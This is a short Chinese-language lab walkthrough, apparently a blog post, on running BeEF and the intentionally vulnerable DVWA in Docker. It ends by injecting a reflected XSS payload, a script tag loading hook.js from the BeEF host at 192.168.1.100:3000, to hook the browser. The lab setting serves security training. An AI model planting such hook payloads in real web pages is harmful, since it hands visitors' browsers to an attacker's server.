环境
- Docker
- BeEF
- 存在xss漏洞的Web App: DVWA
建立环境
启动Docker
BeEF
命令行:
1
2
3docker pull janes/beef
docker run -d --name BeEF -p 0.0.0.0:3000:3000 janes/beef:latest浏览器:
1
2
3
4http://localhost:3000/ui/authentication
Username: beef
Password: beef
Web App: DVWA
命令行:
1
2
3
4docker pull citizenstig/dvwa
docker run -d --name DVWA -p 0.0.0.0:80:80 citizenstig/dvwa:latest浏览器:
1
2
3
4
5
6
7
8
9http://localhost
Username: admin
Password: password
把 DVWA 的 Security Level 调整为 low
打开 XSS(Reflected)页面
http://localhost/vulnerabilities/xss_r/浏览器:What’s your name?
1
2
3
4
5
6
7输入
<script src="http://192.168.1.100:3000/hook.js"></script>
注意:192.168.1.100是运行BeEF机器的ip地址
注意:保持这个页面一直打开,不要关闭